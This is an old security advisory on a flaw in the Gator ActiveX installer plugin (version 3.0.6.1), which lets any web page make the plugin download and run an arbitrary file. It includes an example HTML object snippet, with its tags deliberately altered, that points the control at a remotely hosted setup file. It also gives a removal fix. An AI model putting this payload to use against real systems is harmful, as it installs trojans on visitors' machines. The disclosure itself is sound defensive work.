25th Feb 2002 [SBWID-5128]
COMMAND
Gator installer Plugin allows any software to be installed
SYSTEMS AFFECTED
Gator DLL version - 3.0.6.1
PROBLEM
In Obscure^ advisory
[http://eyeonsecurity.net/advisories/gatorieplugin.html]
The issue here is that any HTML page can specify the location of the
Gator installation file. The installation file is downloaded, then it
is checked for the filename. If the filename is setup.ex_, it is then
decompressed and executed. If the file is not compressed it will still
execute it. Of course using this method, a malicious user can easily
create an HTML page which makes use of the rogue ActiveX component to
point at a trojan file.
Example
=======
<xbject
id=\"IEGator\"
classid=\"CLSID:29EEFF42-F3FA-11D5-A9D5-00500413153C\"
codebase=\"http://www.gator.com/download/2500/iegator_3061_gatorsetup.cab\"
align=\"baseline\"
border=\"0\"
width=\"400\"
height=\"20\">
<pxram name=\"params\"
value=\"fcn=setup&src=eyeonsecurity.net/advisories/gatorexploit/setup.ex_&bgc
olor=F0F1D0&aic=\",aicStr,\"&\">
</xbject>
SOLUTION
Simply delete the ActiveX component from %windir%\\Downloaded Program
Files.
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